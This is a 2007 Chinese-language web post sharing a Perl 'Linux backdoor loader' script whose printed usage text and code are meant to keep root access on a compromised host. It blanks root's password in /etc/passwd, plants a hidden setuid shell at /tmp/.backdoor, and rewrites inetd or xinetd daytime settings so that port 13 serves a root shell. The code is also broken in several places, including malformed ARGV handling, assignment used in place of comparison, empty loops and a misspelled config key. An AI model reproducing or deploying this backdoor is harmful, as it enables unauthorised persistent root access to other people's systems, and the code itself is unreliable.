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用perl写的linux后门加载程序         ★★★
用perl写的linux后门加载程序
作者:-①℃冰洁… 文章来源:本站原创 点击数: 更新时间:2007-4-26 17:27:54

  print "++++++++++++++++++++++++++++++++++++linux后门工具+++++++++++++++++++++++++++++++++++\n";
  print "使用说明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一个账号到passwd中,用户名是root,密码为空n fakebackdoor是绑定一个shell到/tmp/.backdoor下,运行后直接取得root shell,rushport是绑定端口在daytime服务中\n,有两个版本,一个是针对redhatlinux7.0一下的--rushport1,一个是针对redhatlinux7.0以上的--rushport2.\n一般服务器都不开这个服务,程序自动激活daytime服务,telnet到13端口直接取得rootshell 这种方法隐蔽性相对前两中最好\n,记住要重启daytime服务才能生效\n eg: rush rushroot,程序还有很多可以优化的地方,如果有什么好的改进请email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";
  $parameter = @;ARGV[0];
  chomp $parameter;
  if ($parameter = "rushroot")
  {
  &rushroot;
  }
  elsif ($parameter = "fakebackdoor")
  {
  &fakebackdoor;
  }
  elsif($parameter = "rushport")
  {
  &rushport1;
  }
  else ($parameter = "rushport2")
  {
  &rushport2;
  }
  
  sub rushroot
  {
  open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n";
  while()
  {
  chop;
  $passwd.="$_\n";
  last;
  }
  chomp $passwd;
  if($passwd eq "root:x:0:0:root:/root:/bin/bash")
  {
  $passwd =~s/x//g;
  print "rushroot success!now you can get a rootshell with null passwd";
  }
  else
  {
  print "faild....something wrong....:(((";
  }
  
  
  while()
  {
  chomp;
  $passwd1.="$_\n";
  }
  
  close PWD;
  open (PWD,">/etc/passwd")||die "why?";
  print PWD $passwd;
  print PWD $passwd1;
  }
  
  
  sub fakebackdoor
  {
  @cpsh = ("cp", "/bin/sh /tmp/.backdoor");
  @chmod= ("chmod","u+s /tmp/.backdoor");
  system(@cpsh);
  system(@chmod);
  print "success! now you can use ./tmp/.backdoor to get a root shell\n";
  }
  
  
  sub rushport1
  {
  open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #这里根据版本不同可自己修改路径
  while()
  {
  chomp;
  $passwd.="$_\n";
  chomp $passwd;
  if ($passwd eq "daytime stream tcp nowait root internal")
  {
  $passwd =~s/root internal/bin\/sh -i/g;
  }
  last;
  close RH6;
  open (RH6,">/etc/inetd.d/inetd.conf")||die "faild...:("; # #这里根据版本不同可自己修改路径
  print RH6 $passwd;
  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";
  }
  }
  
  sub rushport2
  {
  open (DAYTIME,">/etc/xinetd.d/daytime") || die "can't open file!";
  $daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";
  print DAYTIME $daytime;
  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";
  }
  
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